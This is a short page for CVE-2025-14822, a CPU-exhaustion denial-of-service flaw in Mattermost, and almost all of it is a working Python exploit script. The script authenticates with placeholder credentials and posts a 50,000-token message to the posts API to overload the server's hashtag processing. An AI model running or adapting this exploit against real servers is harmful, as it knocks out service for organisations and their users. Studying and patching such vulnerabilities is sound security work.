CVE-2025-14822 Mattermost hashtag处理导致CPU资源耗尽拒绝服务漏洞

import requests import time # CVE-2025-14822 PoC - Mattermost DoS via hashtag processing # Target: Mattermost <= 10.11.8 # Authentication required with posting privileges TARGET_URL = "https://mattermost.example.com" USERNAME = "[email protected]" PASSWORD = "password123" TEAM_ID = "your-team-id" CHANNEL_ID = "your-channel-id" def login(session): """Authenticate to Mattermost""" login_url = f"{TARGET_URL}/api/v4/users/login" payload = { "login_id": USERNAME, "password": PASSWORD } response = session.post(login_url, json=payload) if response.status_code == 200: return response.headers.get('Token') return None def create_malicious_post(session, token): """Create post with thousands of space-separated tokens to exhaust CPU""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # Generate thousands of space-separated tokens to trigger hashtag processing # This causes CPU exhaustion due to unvalidated input size num_tokens = 50000 malicious_content = " ".join([f"token{i}" for i in range(num_tokens)]) post_url = f"{TARGET_URL}/api/v4/posts" payload = { "channel_id": CHANNEL_ID, "message": malicious_content } response = session.post(post_url, headers=headers, json=payload) return response.status_code def main(): session = requests.Session() print("[*] Logging in to Mattermost...") token = login(session) if not token: print("[-] Authentication failed") return print("[+] Authentication successful") print("[*] Sending malicious post with 50,000 tokens...") status = create_malicious_post(session, token) if status == 201: print("[+] Malicious post created successfully") print("[*] Server CPU should now be exhausted") else: print(f"[-] Post creation failed with status: {status}") if __name__ == "__main__": main()